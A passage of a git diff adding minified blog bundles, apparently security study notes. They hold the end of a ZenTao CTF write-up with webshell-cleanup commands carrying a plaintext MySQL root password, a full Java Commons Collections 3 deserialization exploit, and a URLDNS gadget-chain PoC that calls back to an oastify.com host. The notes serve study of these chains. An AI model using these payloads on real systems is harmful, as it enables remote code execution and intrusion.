\u2193\n\u63d2\u4ef6\u5b89\u88c5\u590d\u5236 www/data/readflag.php\n \u2193\n\u8bbf\u95ee /data/readflag.php \u8bfb\u53d6 /flag\n"})}),"\n",(0,t.jsx)(n.p,{children:"\u6700\u7ec8\u7ed3\u679c\uff1a"}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-text",children:"flag{12345}\n"})}),"\n",(0,t.jsx)(n.h2,{id:"0x0b-\u6e05\u7406\u75d5\u8ff9",children:"0x0b \u6e05\u7406\u75d5\u8ff9"}),"\n",(0,t.jsx)(n.p,{children:"\u5982\u679c\u662f\u672c\u5730 CTF \u73af\u5883\uff0c\u9a8c\u8bc1\u7ed3\u675f\u540e\u53ef\u4ee5\u6e05\u7406\u63d2\u4ef6\u6587\u4ef6\uff1a"}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-bash",children:"docker exec zendao sh -lc 'rm -f /data/zentao/www/data/readflag.php'\ndocker exec zendao sh -lc 'rm -rf /data/zentao/extension/pkg/ctf_flag_ext /data/zentao/tmp/extension/ctf_flag_ext.zip'\ndocker exec mysql8 mysql -uroot -p6722786Dai zentao -e \"delete from zt_extension where code=\\\"ctf_flag_ext\\\";\"\n"})}),"\n",(0,t.jsx)(n.p,{children:"\u6bd4\u8d5b\u73af\u5883\u4e00\u822c\u4e0d\u9700\u8981\u6e05\u7406\uff1b\u672c\u5730\u590d\u76d8\u5efa\u8bae\u6e05\u7406\uff0c\u907f\u514d\u540e\u7eed\u8bef\u7528\u9057\u7559 webshell\u3002"})]})}function p(e={}){const{wrapper:n}={...(0,i.R)(),...e.components};return n?(0,t.jsx)(n,{...e,children:(0,t.jsx)(o,{...e})}):o(e)}},28453:(e,n,s)=>{s.d(n,{R:()=>r,x:()=>l});var a=s(96540);const t={},i=a.createContext(t);function r(e){const n=a.useContext(i);return a.useMemo(function(){return"function"==typeof e?e(n):{...n,...e}},[n,e])}function l(e){let n;return n=e.disableParentContext?"function"==typeof e.components?e.components(t):e.components||t:r(e.components),a.createElement(i.Provider,{value:n},e.children)}}}]); \ No newline at end of file diff --git a/en/assets/js/3471ee88.e534a198.js b/en/assets/js/3471ee88.e534a198.js new file mode 100644 index 0000000..1cc055d --- /dev/null +++ b/en/assets/js/3471ee88.e534a198.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[9240],{28453:(e,n,a)=>{a.d(n,{R:()=>o,x:()=>c});var t=a(96540);const s={},r=t.createContext(s);function o(e){const n=t.useContext(r);return t.useMemo(function(){return"function"==typeof e?e(n):{...n,...e}},[n,e])}function c(e){let n;return n=e.disableParentContext?"function"==typeof e.components?e.components(s):e.components||s:o(e.components),t.createElement(r.Provider,{value:n},e.children)}},58764:(e,n,a)=>{a.r(n),a.d(n,{assets:()=>l,contentTitle:()=>c,default:()=>p,frontMatter:()=>o,metadata:()=>t,toc:()=>i});const t=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u4ee3\u7801\u5ba1\u8ba1/Java/ysoserial\u5229\u7528\u94fe/CC1-7/CC3","title":"Apache Commons Collections 3","description":"\u5229\u7528\u94fe\u5206\u6790","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/03.\u4ee3\u7801\u5ba1\u8ba1/01.Java/02.ysoserial\u5229\u7528\u94fe/01.CC1-7/03.CC3.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/03.\u4ee3\u7801\u5ba1\u8ba1/01.Java/02.ysoserial\u5229\u7528\u94fe/01.CC1-7","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u4ee3\u7801\u5ba1\u8ba1/Java/ysoserial\u5229\u7528\u94fe/CC1-7/CC3","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u4ee3\u7801\u5ba1\u8ba1/Java/ysoserial\u5229\u7528\u94fe/CC1-7/CC3","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/03.\u4ee3\u7801\u5ba1\u8ba1/01.Java/02.ysoserial\u5229\u7528\u94fe/01.CC1-7/03.CC3.md","tags":[],"version":"current","sidebarPosition":3,"frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"Apache Commons Collections 2","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u4ee3\u7801\u5ba1\u8ba1/Java/ysoserial\u5229\u7528\u94fe/CC1-7/CC2"},"next":{"title":"Apache Commons Collections 6","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u4ee3\u7801\u5ba1\u8ba1/Java/ysoserial\u5229\u7528\u94fe/CC1-7/CC6"}}');var s=a(74848),r=a(28453);const o={},c="Apache Commons Collections 3",l={},i=[{value:"\u5229\u7528\u94fe\u5206\u6790",id:"\u5229\u7528\u94fe\u5206\u6790",level:2},{value:"CC3\u5229\u7528\u6d41\u7a0b\u56fe",id:"cc3\u5229\u7528\u6d41\u7a0b\u56fe",level:2}];function m(e){const n={code:"code",h1:"h1",h2:"h2",header:"header",img:"img",p:"p",pre:"pre",...(0,r.R)(),...e.components};return(0,s.jsxs)(s.Fragment,{children:[(0,s.jsx)(n.header,{children:(0,s.jsx)(n.h1,{id:"apache-commons-collections-3",children:"Apache Commons Collections 3"})}),"\n",(0,s.jsx)(n.h2,{id:"\u5229\u7528\u94fe\u5206\u6790",children:"\u5229\u7528\u94fe\u5206\u6790"}),"\n",(0,s.jsxs)(n.p,{children:["\u4e0ecc1\u4e0d\u540c\u7684\u662f\u5229\u7528\u4e86",(0,s.jsx)(n.code,{children:"InstantiateTransformer"}),"\u4e0e ",(0,s.jsx)(n.code,{children:"TemplatesImpl"})," \u7c7b\u7684\u52a8\u6001\u52a0\u8f7d"]}),"\n",(0,s.jsxs)(n.p,{children:["\u5728 ",(0,s.jsx)(n.code,{children:"TemplatesImpl.defineTransletClasses()"}),"\u5b8c\u6210\u4e86\u7c7b\u7684\u52a8\u6001\u52a0\u8f7d\uff0c"]}),"\n",(0,s.jsx)(n.p,{children:(0,s.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202302211816295.png-1",alt:"image-20230220164450032"})}),"\n",(0,s.jsxs)(n.p,{children:["\u53ef\u4ee5\u770b\u5230",(0,s.jsx)(n.code,{children:"defineTransletClasses"})," \u6709\u4e09\u5904\u8c03\u7528 \uff0c\u4e14\u53ea\u6709\u4e00\u5904\u7684\u8c03\u7528\u5904\uff0c\u662f\u88ab\u5176\u4ed6\u7684\u8c03\u7528\u7684 ",(0,s.jsx)(n.code,{children:"getTransletInstance"})]}),"\n",(0,s.jsx)(n.p,{children:(0,s.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202302211816296.png-1",alt:"image-20230220164821911"})}),"\n",(0,s.jsxs)(n.p,{children:["\u800c",(0,s.jsx)(n.code,{children:"newTransformer"})," \u53ea\u6709 ",(0,s.jsx)(n.code,{children:"TrAXFilter"})," \u8fd9\u4e2a\u7c7b\u7684\u6784\u9020\u51fd\u6570\u4e2d\u6ee1\u8db3\u6761\u4ef6"]}),"\n",(0,s.jsx)(n.p,{children:(0,s.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202302211816297.png-1",alt:"image-20230220165015377"})}),"\n",(0,s.jsxs)(n.p,{children:["\u7ed3\u5408",(0,s.jsx)(n.code,{children:"InstantiateTransformer"})," \u5c31\u53ef\u6210\u529f\u8c03\u7528\u94fe\u3002"]}),"\n",(0,s.jsx)(n.p,{children:(0,s.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202302211816298.png-1",alt:"image-20230220165103295"})}),"\n",(0,s.jsx)(n.p,{children:"\u5b8c\u6574\u7684POC"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-java",children:'package org.example;\n\nimport java.io.IOException;\nimport java.io.ObjectInputStream;\nimport java.io.ObjectOutputStream;\nimport java.lang.reflect.Constructor;\nimport java.lang.reflect.Field;\nimport java.lang.reflect.InvocationHandler;\nimport java.lang.reflect.Proxy;\nimport java.nio.file.Files;\nimport java.nio.file.Paths;\nimport java.util.HashMap;\nimport java.util.Map;\n\nimport com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;\nimport com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;\nimport org.apache.commons.collections.Transformer;\nimport org.apache.commons.collections.functors.ChainedTransformer;\nimport org.apache.commons.collections.functors.ConstantTransformer;\nimport org.apache.commons.collections.functors.InstantiateTransformer;\nimport org.apache.commons.collections.map.LazyMap;\n\nimport javax.xml.transform.Templates;\n\npublic class CC3 {\n public static void main(String[] args) throws Exception {\n TemplatesImpl templates = new TemplatesImpl();\n Class<? extends TemplatesImpl> aClass = templates.getClass();\n Field name = aClass.getDeclaredField("_name");\n name.setAccessible(true);\n name.set(templates,"aaaa");\n Field bytecodes = aClass.getDeclaredField("_bytecodes");\n bytecodes.setAccessible(true);\n byte[]code = Files.readAllBytes(Paths.get("C:\\\\Users\\\\wjl\\\\Desktop\\\\CC\\\\target\\\\classes\\\\org\\\\example\\\\Test.class"));\n byte[][]codes = {code};\n bytecodes.set(templates,codes);\n ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{\n new ConstantTransformer(TrAXFilter.class),\n new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates}),\n });\n HashMap<Object, Object> objectObjectHashMap = new HashMap<>();\n Map<?,?> decorate = LazyMap.decorate(objectObjectHashMap, chainedTransformer);\n Class<?> aClass1 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");\n Constructor<?> declaredConstructor = aClass1.getDeclaredConstructor(Class.class, Map.class);\n declaredConstructor.setAccessible(true);\n InvocationHandler o = (InvocationHandler) declaredConstructor.newInstance(Override.class, decorate);\n Map proxyMap= (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, o);\n Object o1 = declaredConstructor.newInstance(Override.class, proxyMap);\n serialize(o1);\n unserialize("ser.bin");\n\n }\n public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {\n ObjectInputStream objectInputStream = new ObjectInputStream(Files.newInputStream(Paths.get(Filename)));\n return objectInputStream.readObject();\n }\n public static void serialize(Object obj) throws IOException {\n ObjectOutputStream objectOutputStream = new ObjectOutputStream(Files.newOutputStream(Paths.get("ser.bin")));\n objectOutputStream.writeObject(obj);\n }\n}\n'})}),"\n",(0,s.jsx)(n.h2,{id:"cc3\u5229\u7528\u6d41\u7a0b\u56fe",children:"CC3\u5229\u7528\u6d41\u7a0b\u56fe"}),"\n",(0,s.jsx)(n.p,{children:(0,s.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202302211816299.png-1",alt:"image-20230220171002143"})})]})}function p(e={}){const{wrapper:n}={...(0,r.R)(),...e.components};return n?(0,s.jsx)(n,{...e,children:(0,s.jsx)(m,{...e})}):m(e)}}}]); \ No newline at end of file diff --git a/en/assets/js/34d17935.5ff0b6d9.js b/en/assets/js/34d17935.5ff0b6d9.js new file mode 100644 index 0000000..539a14c --- /dev/null +++ b/en/assets/js/34d17935.5ff0b6d9.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[451],{8344:(e,n,s)=>{s.r(n),s.d(n,{assets:()=>c,contentTitle:()=>r,default:()=>h,frontMatter:()=>l,metadata:()=>a,toc:()=>d});const a=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u4ee3\u7801\u5ba1\u8ba1/Java/ysoserial\u5229\u7528\u94fe/URLDNS","title":"URLDNS","description":"URLDNS \u662fysoserial\u4e2d\u5229\u7528\u94fe\u7684\u4e00\u4e2a\u540d\u5b57\uff0c\u901a\u5e38\u7528\u4e8e\u68c0\u6d4b\u662f\u5426\u5b58\u5728Java\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e\u3002\u8be5\u5229\u7528\u94fe\u5177\u6709\u5982\u4e0b\u7279\u70b9\uff1a","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/03.\u4ee3\u7801\u5ba1\u8ba1/01.Java/02.ysoserial\u5229\u7528\u94fe/02.URLDNS.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/03.\u4ee3\u7801\u5ba1\u8ba1/01.Java/02.ysoserial\u5229\u7528\u94fe","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u4ee3\u7801\u5ba1\u8ba1/Java/ysoserial\u5229\u7528\u94fe/URLDNS","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u4ee3\u7801\u5ba1\u8ba1/Java/ysoserial\u5229\u7528\u94fe/URLDNS","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/03.\u4ee3\u7801\u5ba1\u8ba1/01.Java/02.ysoserial\u5229\u7528\u94fe/02.URLDNS.md","tags":[],"version":"current","sidebarPosition":2,"frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"Apache Commons Collections 6","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u4ee3\u7801\u5ba1\u8ba1/Java/ysoserial\u5229\u7528\u94fe/CC1-7/CC6"},"next":{"title":"PHP\u4ee3\u7801\u5ba1\u8ba1\u57fa\u7840\u77e5\u8bc6","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u4ee3\u7801\u5ba1\u8ba1/PHP/PHP\u4ee3\u7801\u5ba1\u8ba1\u57fa\u7840\u77e5\u8bc6"}}');var t=s(74848),i=s(28453);const l={},r="URLDNS",c={},d=[{value:"\u5229\u7528\u94fe",id:"\u5229\u7528\u94fe",level:3},{value:"\u539f\u7406",id:"\u539f\u7406",level:3},{value:"\u5206\u6790",id:"\u5206\u6790",level:3},{value:"\u5b8c\u6574POC",id:"\u5b8c\u6574poc",level:3},{value:"\u8ddf\u70b9\u8c03\u8bd5",id:"\u8ddf\u70b9\u8c03\u8bd5",level:3}];function o(e){const n={blockquote:"blockquote",code:"code",h1:"h1",h3:"h3",header:"header",img:"img",li:"li",p:"p",pre:"pre",ul:"ul",...(0,i.R)(),...e.components};return(0,t.jsxs)(t.Fragment,{children:[(0,t.jsx)(n.header,{children:(0,t.jsx)(n.h1,{id:"urldns",children:"URLDNS"})}),"\n",(0,t.jsxs)(n.blockquote,{children:["\n",(0,t.jsxs)(n.p,{children:[(0,t.jsx)(n.code,{children:"URLDNS"})," \u662fysoserial\u4e2d\u5229\u7528\u94fe\u7684\u4e00\u4e2a\u540d\u5b57\uff0c\u901a\u5e38\u7528\u4e8e\u68c0\u6d4b\u662f\u5426\u5b58\u5728Java\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e\u3002\u8be5\u5229\u7528\u94fe\u5177\u6709\u5982\u4e0b\u7279\u70b9\uff1a"]}),"\n",(0,t.jsxs)(n.ul,{children:["\n",(0,t.jsx)(n.li,{children:"\u4e0d\u9650\u5236jdk\u7248\u672c\uff0c\u4f7f\u7528Java\u5185\u7f6e\u7c7b\uff0c\u5bf9\u7b2c\u4e09\u65b9\u4f9d\u8d56\u6ca1\u6709\u8981\u6c42"}),"\n",(0,t.jsx)(n.li,{children:"\u76ee\u6807\u65e0\u56de\u663e\uff0c\u53ef\u4ee5\u901a\u8fc7DNS\u8bf7\u6c42\u6765\u9a8c\u8bc1\u662f\u5426\u5b58\u5728\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e"}),"\n",(0,t.jsx)(n.li,{children:"URLDNS\u5229\u7528\u94fe\uff0c\u53ea\u80fd\u53d1\u8d77DNS\u8bf7\u6c42\uff0c\u5e76\u4e0d\u80fd\u8fdb\u884c\u5176\u4ed6\u5229\u7528"}),"\n"]}),"\n"]}),"\n",(0,t.jsx)(n.h3,{id:"\u5229\u7528\u94fe",children:"\u5229\u7528\u94fe"}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{children:" * HashMap.readObject()\n * HashMap.putVal()\n * HashMap.hash()\n * URL.hashCode()\n * handler.hashCode()\n"})}),"\n",(0,t.jsx)(n.h3,{id:"\u539f\u7406",children:"\u539f\u7406"}),"\n",(0,t.jsxs)(n.p,{children:[(0,t.jsx)(n.code,{children:"java.util.HashMap"})," \u91cd\u5199\u4e86 ",(0,t.jsx)(n.code,{children:"readObject"}),", \u5728\u53cd\u5e8f\u5217\u5316\u65f6\u4f1a\u8c03\u7528 ",(0,t.jsx)(n.code,{children:"hash"})," \u51fd\u6570\u8ba1\u7b97 key \u7684 hashCode.\u800c ",(0,t.jsx)(n.code,{children:"java.net.URL"})," \u7684 hashCode \u5728\u8ba1\u7b97\u65f6\u4f1a\u8c03\u7528 ",(0,t.jsx)(n.code,{children:"getHostAddress"})," \u6765\u89e3\u6790\u57df\u540d, \u4ece\u800c\u53d1\u51fa DNS \u8bf7\u6c42."]}),"\n",(0,t.jsx)(n.p,{children:(0,t.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202211211827054.png",alt:"image-20221118003718726"})}),"\n",(0,t.jsx)(n.h3,{id:"\u5206\u6790",children:"\u5206\u6790"}),"\n",(0,t.jsx)(n.p,{children:"\u5728hashMap\u7684readObject\u65b9\u6cd5\u4e2d\u6700\u540e\u8c03\u7528\u4e86\uff0cputVal\uff08\uff09\uff0c\u4ed6\u8ba1\u7b97\u4e86\u4e00\u4e0bhash\uff08key\uff09"}),"\n",(0,t.jsx)(n.p,{children:(0,t.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202211211827055.png",alt:"image-20221118005145146"})}),"\n",(0,t.jsx)(n.p,{children:"\u5728hash\u65b9\u6cd5\u4e2d\u76f4\u63a5\u4f1a\u8c03\u7528key\u7684hashCode\u65b9\u6cd5\uff0c\u8fd9\u91cc\u7684key\u5c31\u662f\u6211\u4eec\u4f20\u5165\u7684hashMap\u7684\u952e\uff08URL\u7c7b\uff09"}),"\n",(0,t.jsx)(n.p,{children:(0,t.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202211211827056.png",alt:"image-20221118005311542"})}),"\n",(0,t.jsx)(n.p,{children:"\u5c31\u76f4\u63a5\u4f1a\u8c03\u7528\u5230URL\u7c7b\u7684hashCode\uff08\uff09"}),"\n",(0,t.jsx)(n.p,{children:(0,t.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202211211827057.png",alt:"image-20221118005348414"})}),"\n",(0,t.jsx)(n.p,{children:"\u8fd9\u91cc\u6709\u4e2atips\uff0c\u5728hashMap\u7528put\u5199\u5165\u952e\u503c\u662f\uff0c\u4e5f\u4f1a\u89e6\u53d1putVal\u65b9\u6cd5\uff0c\u5373\u4e5f\u4f1a\u8d70\u5230\u8fd9\u4e00\u6b65\uff0c\u4e3a\u4e86\u4e0e\u540e\u9762\u7684DNS\u8bf7\u6c42\u4e0d\u51b2\u7a81\uff0c\u8fd9\u91cc\u53ef\u4ee5\u6709\u4e24\u79cd\u65b9\u6cd5\u5904\u7406"}),"\n",(0,t.jsxs)(n.p,{children:["1.\u5728\u5e8f\u5217\u5316\u4e4b\u524d\u5c06hashCode\u7684\u503c\u8bbe\u7f6e\u4e3a\u5176\u4ed6\u503c\uff0c\u6700\u540e\u5728put\u5b8c\u6210\u540e\u5c06hashCode\u503c\u6539\u4f1a ",(0,t.jsx)(n.code,{children:"-1"})]}),"\n",(0,t.jsx)(n.p,{children:"2.\u6216\u8005\u76f4\u63a5\u5c06handler\u6210\u5458\u7684\u5bf9\u8c61\u7684 openConnection getHostAddress\u65b9\u6cd5\u7684\u8fd4\u56de\u503c\u4e3anull \u5373\u53ef(\u53c2\u8003 ysoserial)\u3002\u90a3\u4e48\u5373\u4f7f\u5728\u8c03\u7528handlder\u7684getHostAddress \u4e5f\u4e0d\u4f1a\u89e6\u53d1\u3002"}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-java",children:"static class SilentURLStreamHandler extends URLStreamHandler {\n\n protected URLConnection openConnection(URL u) throws IOException {\n return null;\n }\n\n protected synchronized InetAddress getHostAddress(URL u) {\n return null;\n }\n}\n"})}),"\n",(0,t.jsx)(n.p,{children:"\u8fd9\u91cc\u539f\u751f\u7684handler\u6210\u5458\u4e3aURLStreamHandler \u7c7b\u7684\u5b9e\u4f8b\u5bf9\u8c61\uff0c\u8c03\u7528URLStreamHandler \u7684hashCode\u5c31\u4f1a\u89e6\u53d1DNS\u8bf7\u6c42"}),"\n",(0,t.jsx)(n.p,{children:(0,t.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202211211827058.png",alt:"image-20221118010558799"})}),"\n",(0,t.jsx)(n.h3,{id:"\u5b8c\u6574poc",children:"\u5b8c\u6574POC"}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-java",children:'import java.io.*;\nimport java.lang.reflect.Field;\nimport java.net.URL;\nimport java.util.HashMap;\n\npublic class URLDNS {\n public static void serializeble(Object obj) throws IOException {\n ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.txt"));\n oos.writeObject(obj);\n }\n public static Object unserializeble(String filename) throws IOException,ClassNotFoundException {\n ObjectInputStream oos = new ObjectInputStream(new FileInputStream(filename));\n return oos.readObject();\n }\n public static void main(String[] args) throws Exception{\n HashMap<URL,Integer> hashMap = new HashMap<URL,Integer>();\n URL url = new URL("http://96dcnltlo7dpe8sxm2aw7nwe359wxold.oastify.com");\n Class<? extends URL> uclass = url.getClass();\n Field hashCode = uclass.getDeclaredField("hashCode");\n hashCode.setAccessible(true);\n hashCode.set(url,1234);\n hashMap.put(url,1);\n hashCode.set(url,-1);\n serializeble(hashMap);\n Object oos = unserializeble("ser.txt");\n }\n\n}\n'})}),"\n",(0,t.jsx)(n.h3,{id:"\u8ddf\u70b9\u8c03\u8bd5",children:"\u8ddf\u70b9\u8c03\u8bd5"}),"\n",(0,t.jsx)(n.p,{children:"\u8fdb\u5165hashMap\u7684readObject\uff08\uff09"}),"\n",(0,t.jsx)(n.p,{children:(0,t.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202211211827059.png",alt:"image-20221118011454702"})}),"\n",(0,t.jsx)(n.p,{children:"\u6267\u884cURL\u7684hashCode\uff08\uff09"}),"\n",(0,t.jsx)(n.p,{children:(0,t.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202211211827060.png",alt:"image-20221118011539551"})}),"\n",(0,t.jsx)(n.p,{children:"hashCode\u5c5e\u6027\u503c\u4e3a-1\uff0c\u8c03\u7528handler\u7684hashCode\uff08\uff09"}),"\n",(0,t.jsx)(n.p,{children:(0,t.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202211211827061.png",alt:"image-20221118011650083"})}),"\n",(0,t.jsx)(n.p,{children:"\u6700\u540e\u8c03\u7528getHostAddress\uff08\uff09\uff0c\u65b9\u6cd5\u6267\u884cDNS\u8bf7\u6c42"}),"\n",(0,t.jsx)(n.p,{children:(0,t.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202211211827062.png",alt:"image-20221118012143052"})})]})}function h(e={}){const{wrapper:n}={...(0,i.R)(),...e.components};return n?(0,t.jsx)(n,{...e,children:(0,t.jsx)(o,{...e})}):o(e)}},28453:(e,n,s)=>{s.d(n,{R:()=>l,x:()=>r});var a=s(96540);const t={},i=a.createContext(t);function l(e){const n=a.useContext(i);return a.useMemo(function(){return"function"==typeof e?e(n):{...n,...e}},[n,e])}function r(e){let n;return n=e.disableParentContext?"function"==typeof e.components?e.components(t):e.components||t:l(e.components),a.createElement(i.Provider,{value:n},e.children)}}}]); \ No newline at end of file diff --git a/en/assets/js/3763dbe0.79e1f06b.js b/en/assets/js/3763dbe0.79e1f06b.js new file mode 100644 index 0000000..299d0c5 --- /dev/null +++ b/en/assets/js/3763dbe0.79e1f06b.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[4477],{28453:(e,n,t)=>{t.d(n,{R:()=>l,x:()=>c});var s=t(96540);const r={},i=s.createContext(r);function l(e){const n=s.useContext(i);return s.useMemo(function(){return"function"==typeof e?e(n):{...n,...e}},[n,e])}function c(e){let n;return n=e.disableParentContext?"function"==typeof e.components?e.components(r):e.components||r:l(e.components),s.createElement(i.Provider,{value:n},e.children)}},55302:(e,n,t)=>{t.r(n),t.d(n,{assets:()=>o,contentTitle:()=>c,default:()=>h,frontMatter:()=>l,metadata:()=>s,toc:()=>d});const s=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e09\u7ae0/3.2 \u57fa\u672c\u914d\u7f6e","title":"3.2 \u57fa\u672c\u914d\u7f6e.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/03.\u7b2c\u4e09\u7ae0/3.2 \u57fa\u672c\u914d\u7f6e.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/03.\u7b2c\u4e09\u7ae0","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e09\u7ae0/3.2 \u57fa\u672c\u914d\u7f6e","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e09\u7ae0/3.2 \u57fa\u672c\u914d\u7f6e","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/03.\u7b2c\u4e09\u7ae0/3.2 \u57fa\u672c\u914d\u7f6e.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"3.1 \u601d\u8003\uff1a\u5b8c\u6210\u6df1\u5ea6\u5b66\u4e60\u7684\u5fc5\u8981\u90e8\u5206.md","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e09\u7ae0/3.1 \u601d\u8003\uff1a\u5b8c\u6210\u6df1\u5ea6\u5b66\u4e60\u7684\u5fc5\u8981\u90e8\u5206"},"next":{"title":"3.3 \u6570\u636e\u8bfb\u5165.md","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e09\u7ae0/3.3 \u6570\u636e\u8bfb\u5165"}}');var r=t(74848),i=t(28453);const l={},c="3.2 \u57fa\u672c\u914d\u7f6e.md",o={},d=[];function a(e){const n={code:"code",h1:"h1",header:"header",img:"img",li:"li",p:"p",pre:"pre",strong:"strong",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,i.R)(),...e.components};return(0,r.jsxs)(r.Fragment,{children:[(0,r.jsx)(n.header,{children:(0,r.jsx)(n.h1,{id:"32-\u57fa\u672c\u914d\u7f6emd",children:"3.2 \u57fa\u672c\u914d\u7f6e.md"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,r.jsxs)(n.table,{children:[(0,r.jsx)(n.thead,{children:(0,r.jsxs)(n.tr,{children:[(0,r.jsx)(n.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,r.jsx)(n.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,r.jsx)(n.tbody,{children:(0,r.jsxs)(n.tr,{children:[(0,r.jsx)(n.td,{style:{textAlign:"left"},children:(0,r.jsx)(n.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,r.jsx)(n.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:15"})]})})]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,r.jsxs)(n.table,{children:[(0,r.jsx)(n.thead,{children:(0,r.jsxs)(n.tr,{children:[(0,r.jsx)(n.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,r.jsx)(n.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,r.jsx)(n.tbody,{children:(0,r.jsxs)(n.tr,{children:[(0,r.jsx)(n.td,{style:{textAlign:"left"},children:(0,r.jsx)(n.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,r.jsx)(n.td,{style:{textAlign:"left"},children:"2025-10-31 15:44:29"})]})})]}),"\n",(0,r.jsx)(n.h1,{id:"32-\u57fa\u672c\u914d\u7f6e",children:"3.2 